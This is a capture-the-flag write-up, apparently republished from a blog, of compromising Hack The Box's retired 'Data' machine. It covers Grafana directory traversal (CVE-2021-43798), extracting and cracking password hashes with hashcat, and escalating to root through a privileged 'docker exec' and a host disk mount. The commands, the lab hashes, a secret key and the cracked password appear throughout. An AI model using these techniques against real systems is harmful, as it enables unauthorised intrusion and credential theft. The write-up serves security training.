Data Retired Box from Hackthebox
文章描述了一次针对Linux机器的渗透测试过程。通过扫描发现Grafana存在目录遍历漏洞(CVE-2021-43798),利用该漏洞读取敏感文件并获取用户Boris的密码。随后通过SSH登录并利用sudo权限进入Docker容器,最终成功提权至root。 2026-1-2 05:12:59 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Press enter or click to view image in full size

Data Retired Hackthebox Linux Machine

As we get deep into this engagement, I’ll demonstrate my penetration testing methodology and my thoughts while exploiting and scanning the target, where I perform various techniques and go through trial and error while pentesting.

First of all, we use the ping tool to send ICMP Requests to see if the host is up and running :

Press enter or click to view image in full size

Sending ICMP Requests to check if the target is up and running.

As we can see from the screenshot above, the target is up and running. Let's go to the next step, which is scanning the target for open ports and possible vulnerabilities!

I would always use nmap in that case, but this time, let's spice things up and use another tool just for the fun of it. Using Zenmap will be the pathway this time.

Press enter or click to view image in full size

ZenMap Information Gathering

From the initial scan, we can find two open ports: port 22, which is SSH, and port 3000, which is HTTP running Grafana HTTP. Let's head to the web server running on port 3000 to see if we can find something interesting.

By going to the dashboard of Grafana on the Web server running on port 3000, I found out that a vulnerable version is present, the version is: v8.0.0 (41f0542c1e)

Press enter or click to view image in full size

Grafana Dashboard, ( LOGIN )

Vulnerable to Directory Traversal and Arbitrary File Read.

The CVE is : CVE-2021–43798 — Grafana Exploit

```
Details about the Vulnerability :

```
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) are vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Next, by running the PoC, I can test the arbitrary read by using the script normally :

Press enter or click to view image in full size

testing the exploit to read /etc/passwd.

By reading /etc/passwd, I could confirm that the path traversal vulnerability is present.

Next, I would read something that gives me more value. Let's dig deeper.

Following a hint on Guided Mode in HTB and related to Grafana DB:

Grafana DB file on Data

It is in the default location. Reading /etc/grafana/grafana.ini will show the path as well, though in a couple of pieces.

Maybe let's try and read this file?

Press enter or click to view image in full size

Some information that is worth noting:

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm

Found a user called Boris, maybe that will be our initial entry that we can take.

Get Cyb0rgBytes’s stories in your inbox

Join Medium for free to get updates from this writer.

Let's view the Database we downloaded and see if we can find any juicy information, like a password or something.

Press enter or click to view image in full size

Examing Grafana DB

by examining the Grafana.db file, I could use the following commands in sequence to find the hashes of two users: Admin & Boris.

sqlite> .tables
sqlite> .headers on
sqlite> select * from user;
sqlite> select login,password,salt from user;

Bingo, I found the following hashes:

admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

Next, im going to use a repo that generates hashes that can be used with hashcat using this SQLite Grafana hashes:

7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

by using the repo :

https://github.com/iamaldi/grafana2hashcat

I can run the following command to generate the hashes:

python /opt/grafana2hashcat/grafana2hashcat.py grafana_hashsalt -o grafanahashes

┌──(root💀CSEC)-[/opt/grafana2hashcat]
└─# cat grafanahashes
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Now to the fun part, Cracking:

a tool I will use, which is my favorite, hashcat.

hashcat grafanahashes /usr/share/wordlists/rockyou.txt

And in less than a minute, I’ve found the password for Boris, probably.

Let's log in to SSH with the found credentials.

FOUND CREDENTIALS: sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

And here we go, successfully logged in:

Press enter or click to view image in full size

SSH Successfully Logged in.

I ran sudo -l and found that the following can be run as root without a password, which hints at a good method to escalate the privileges to root…

boris@data:/$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
boris@data:/$ ^C

Going forward, found an ID for the container by running the ps command to list the running processes.

e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 = Docker Container ID.

Next, I’ll run the following command to get a Root shell:

sudo docker exec -it — privileged — user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash

then I’ll mount the dev device that I found earlier:

mount /dev/sda1 /mnt/

Press enter or click to view image in full size

Escalating To root.

And here we go, root achieved:

Press enter or click to view image in full size

PWNED! RUN!

文章来源: https://infosecwriteups.com/as-we-get-deep-into-this-engagement-ill-demonstrate-my-penetration-testing-methodology-and-my-b616fbd0d00f?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh